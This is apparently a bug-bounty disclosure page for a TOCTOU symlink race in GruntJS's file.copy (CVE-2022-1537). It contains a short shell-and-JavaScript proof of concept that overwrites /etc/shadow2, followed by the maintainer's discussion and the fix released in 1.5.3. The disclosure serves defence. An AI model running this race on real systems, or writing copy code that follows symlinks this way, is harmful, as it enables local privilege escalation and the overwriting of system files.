file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write in gruntjs/grunt

1

Valid Reported on Apr 12th 2022

Description

file.copy operations in GruntJS are vulnerable to a TOC-TOU race condition leading to arbitrary file write when an attacker can create a symlink just after deletion of the dest symlink (by repeatedly calling `ln -s /etc/shadow2 dest/shadow2` in a while loop) but right before the symlink is written to. I hypothesised this and mentioned this earlier in my last comment in my previous report but it remained unresolved, so I have managed to reproduce it in the following PoC:

Proof of Concept

1: As a lower-privileged user:

```
mkdir src
mkdir dest
echo "<overwrite shadow file here>" > src/shadow2
while true; do ln -s /etc/shadow2 dest/shadow2; done;
```

2: Now execute the following PoC:

```
grunt = require('grunt')
grunt.file.copy("src", "dest")
```

3: /etc/shadow2 is overwritten

```
<overwrite shadow file here>
```

Impact

This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user's .bashrc file or replace /etc/shadow file if the GruntJS user is root.

Occurrences

JS file.js L297L300

CVE
CVE-2022-1537
(Published)

Vulnerability Type
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Severity
High (7.8)

Registry
Npm

Affected Version
<= 1.5.2

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

Fixed by

Vlad Filippov
@vladikoff

maintainer

This report was seen 763 times.

We are processing your report and will contact the **gruntjs/grunt** team within 24 hours.
7 months ago

haxatron 7 months ago Researcher

I was thinking of how more specifically to resolve this, one way I hypothesiseis check if the destination file is a symlink, if it is, use fs.renameSync rather than file.write, as fs.renameSync in node doesn't follow symlinks.

We have contacted a member of the **gruntjs/grunt** team and are waiting to hear back
7 months ago

Vlad Filippov 7 months ago Maintainer

Would ShellJS have the same problem?

haxatron 7 months ago Researcher

I've investigated a bit and ShellJS will copy the src directory to the dest directory so I don't think that is applicable (src => dest/src)

haxatron 7 months ago Researcher

Bestest way I can think of (without breaking much) is to skip the write if destpath is a symlink (ie.)

```
if (contents === false || file.isLink(destpath)) {
    grunt.verbose.writeln('Write aborted. Either the process function returned false c
  } else {
    file.write(destpath, contents, readWriteOptions);
  }
```

A **gruntjs/grunt** maintainer has acknowledged this report 7 months ago

Jamie Slome 7 months ago Admin

Any updates here @maintainer?

Vlad Filippov 7 months ago Maintainer

We will probably patch it soon with the suggested fix

Jamie Slome 7 months ago Admin

Great 👍

Thank you for the update, Vlad.

Jamie Slome 7 months ago Admin

In the meantime, do we consider this report to be a valid vulnerability? If so, feel free to mark as valid using `resolve` below 👍

Vlad Filippov validated this vulnerability 7 months ago

haxatron has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Vlad Filippov 7 months ago Maintainer

Quick update, I have PR live but Windows is throwing errors at this time in CI https://github.com/gruntjs/grunt/pull/1745 Will need to investigate, might be a quick fix

Jamie Slome 7 months ago

Great Vlad, thanks for the update. Once you are ready, feel free to mark as fixed :)

We have sent a fix follow up to the **gruntjs/grunt** team. We will try again in 7 days. 7 months ago

We have sent a second fix follow up to the **gruntjs/grunt** team. We will try again in 10 days. 7 months ago

Vlad Filippov 7 months ago Maintainer

Still debugging Windows tests failing in https://github.com/gruntjs/grunt/pull/1745

Vlad Filippov 7 months ago Maintainer

https://github.com/gruntjs/grunt/releases/tag/v1.5.3 released with the fix , thanks!

Vlad Filippov marked this as fixed in **1.5.3** with commit **58016f** 7 months ago

Vlad Filippov has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

file.js#L297L300 has been validated ✔

Jamie Slome 7 months ago Admin

Great work all 👍

Sign in to join this conversation